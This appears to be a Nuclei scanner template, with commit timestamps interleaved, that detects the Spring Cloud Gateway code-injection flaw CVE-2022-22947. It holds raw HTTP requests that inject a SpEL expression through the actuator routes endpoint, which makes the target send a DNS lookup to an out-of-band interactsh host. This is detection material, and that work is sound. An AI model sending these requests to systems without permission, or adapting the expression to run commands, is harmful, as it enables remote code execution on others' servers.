2022-03-02 08:45:10 +00:00
id : CVE-2022-22947
info :
name : Spring Cloud Gateway Code Injection
author : pdteam
severity : critical
2022-05-17 09:18:12 +00:00
description : Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
2022-03-02 08:45:10 +00:00
reference :
2022-03-08 15:15:40 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
2022-03-02 08:45:10 +00:00
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
2022-03-08 15:15:40 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-03-08 15:15:40 +00:00
cve-id : CVE-2022-22947
2023-11-09 10:11:53 +00:00
cwe-id : CWE-917,CWE-94
2023-10-23 12:22:20 +00:00
epss-score : 0.97481
2023-11-14 14:37:18 +00:00
epss-percentile : 0.99966
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : vmware
product : spring_cloud_gateway
tags : cve,cve2022,apache,spring,vmware,actuator,oast,kev
2022-03-02 08:45:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-03-02 08:45:10 +00:00
- raw :
- |
2022-03-02 21:14:27 +00:00
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
2022-03-02 08:45:10 +00:00
Host : {{Hostname}}
Content-Type : application/json
{
"predicates": [
{
"name": "Path" ,
"args": {
2022-03-02 21:14:27 +00:00
"_genkey_0": "/{{randstr}}/**"
2022-03-02 08:45:10 +00:00
}
}
] ,
"filters": [
{
"name": "RewritePath" ,
"args": {
2022-03-02 21:14:27 +00:00
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}" ,
2022-03-02 08:45:10 +00:00
"_genkey_1": "/${path}"
}
}
] ,
2022-03-02 21:14:27 +00:00
"uri": "{{RootURL}}" ,
2022-03-02 08:45:10 +00:00
"order": 0
}
- |
POST /actuator/gateway/refresh HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
2022-03-02 21:14:27 +00:00
"predicate": "Paths: [/{{randstr}}], match trailing slash: true" ,
"route_id": "{{randstr}}" ,
2022-03-02 08:45:10 +00:00
"filters": [
2022-03-02 21:14:27 +00:00
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
2022-03-02 08:45:10 +00:00
] ,
2022-03-02 21:14:27 +00:00
"uri": "{{RootURL}}" ,
2022-03-02 08:45:10 +00:00
"order": 0
}
2022-03-02 21:14:27 +00:00
- |
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host : {{Hostname}}
2022-03-02 08:45:10 +00:00
matchers-condition : and
matchers :
2022-03-02 21:14:27 +00:00
- type : word
part : header
words :
- "/routes/{{randstr}}"
2022-03-02 08:45:10 +00:00
- type : word
part : interactsh_protocol
words :
2022-03-08 15:15:40 +00:00
- "dns"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 201
2023-11-14 05:56:48 +00:00
# digest: 4b0a00483046022100b16bd059d781d28278354a198c51482390f75c691a0fbdd95eea1c74349a9816022100d82eae3e66511b28de35b662b753b58603cb2dec4cf4e7736ff19b37a6cb7f4f:922c64590222798bb761d5b6d8e72950